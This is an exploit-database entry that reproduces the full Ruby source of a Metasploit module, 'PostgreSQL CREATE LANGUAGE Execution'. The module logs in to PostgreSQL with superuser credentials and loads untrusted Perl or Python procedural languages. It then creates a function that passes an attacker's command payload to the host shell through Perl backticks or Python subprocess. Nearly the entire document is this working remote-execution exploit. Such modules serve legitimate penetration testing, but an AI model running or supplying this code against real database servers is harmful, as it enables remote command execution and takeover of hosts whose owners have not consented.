PostgreSQL CREATE LANGUAGE Execution

2016.04.10
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/postgres' class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Postgres include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'PostgreSQL CREATE LANGUAGE Execution', 'Description' => %q( Some installations of Postgres 8 and 9 are configured to allow loading external scripting languages. Most commonly this is Perl and Python. When enabled, command execution is possible on the host. To execute system commands, loading the "untrusted" version of the language is necessary. This requires a superuser. This is usually postgres. The execution should be platform-agnostic, and has been tested on OS X, Windows, and Linux. This module attempts to load Perl or Python to execute system commands. As this dynamically loads a scripting language to execute commands, it is not necessary to drop a file on the filesystem. Only Postgres 8 and up are supported. ), 'Author' => [ 'Micheal Cottingham', # author of this module 'midnitesnake', # the postgres_payload module that this is based on, 'Nixawk' # Improves the module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'http://www.postgresql.org/docs/current/static/sql-createlanguage.html'], ['URL', 'http://www.postgresql.org/docs/current/static/plperl.html'], ['URL', 'http://www.postgresql.org/docs/current/static/plpython.html'] ], 'Platform' => %w(linux unix win osx), 'Payload' => { 'PayloadType' => %w(cmd) }, 'Arch' => [ARCH_CMD], 'Targets' => [ ['Automatic', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 1 2016')) deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE') end def postgres_major_version(version) version_match = version.match(/(?<software>\w{10})\s(?<major_version>\d{1,2})\.(?<minor_version>\d{1,2})\.(?<revision>\d{1,2})/) version_match['major_version'] end def check if vuln_version? Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end def vuln_version? version = postgres_fingerprint if version[:auth] major_version = postgres_major_version(version[:auth]) return true if major_version && major_version.to_i >= 8 end false end def login_success? status = do_login(username, password, database) case status when :noauth print_error "#{peer} - Authentication failed" return false when :noconn print_error "#{peer} - Connection failed" return false else print_status "#{peer} - #{status}" return true end end def load_extension?(language) case load_procedural_language(language, 'LANGUAGE') when :exists print_good "#{peer} - #{language} is already loaded, continuing" return true when :loaded print_good "#{peer} - #{language} was successfully loaded, continuing" return true when :not_exists print_status "#{peer} - #{language} could not be loaded" return false else print_error "#{peer} - error occurred loading #{language}" return false end end def exec_function?(func_name) query = "SELECT exec_#{func_name}('#{payload.encoded.gsub("'", "''")}')" select_query = postgres_query(query) case select_query.keys[0] when :conn_error print_error "#{peer} - Connection error" return false when :sql_error print_error "#{peer} - Exploit failed" return false when :complete print_good "#{peer} - Exploit successful" return true else print_error "#{peer} - Unknown" return false end end def create_function?(language, func_name) load_func = '' case language when 'perl' query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(text) RETURNS void as $$" query << "`$_[0]`;" query << "$$ LANGUAGE pl#{language}u" load_func = postgres_query(query) when /^python(?:2|3)?/i query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r" query << "import subprocess, shlex\rsubprocess.check_output(shlex.split(c))\r" query << "$$ LANGUAGE pl#{language}u" load_func = postgres_query(query) end case load_func.keys[0] when :conn_error print_error "#{peer} - Connection error" return false when :sql_error print_error "#{peer} Exploit failed" return false when :complete print_good "#{peer} - Loaded UDF (exec_#{func_name})" return true else print_error "#{peer} - Unknown" return false end end def load_procedural_language(language, extension) query = "CREATE #{extension} pl#{language}u" load_language = postgres_query(query) return :loaded unless load_language.keys[0] == :sql_error match_exists = load_language[:sql_error].match(/(?:(extension|language) "pl#{language}u" already exists)/m) return :exists if match_exists match_error = load_language[:sql_error].match(/(?:could not (?:open extension control|access) file|unsupported language)/m) return :not_exists if match_error end def do_login(user, pass, database) begin password = pass || postgres_password result = postgres_fingerprint( db: database, username: user, password: password ) return result[:auth] if result[:auth] print_status "#{peer} - Login failed" return :noauth rescue Rex::ConnectionError return :noconn end end def exploit return unless vuln_version? return unless login_success? languages = %w(perl python python2 python3) languages.each do |language| next unless load_extension?(language) func_name = Rex::Text.rand_text_alpha(10) next unless create_function?(language, func_name) if exec_function?(func_name) print_warning "Please clear extension [#{language}]: function [#{func_name}] manually" break end end postgres_logout if @postgres_conn end end


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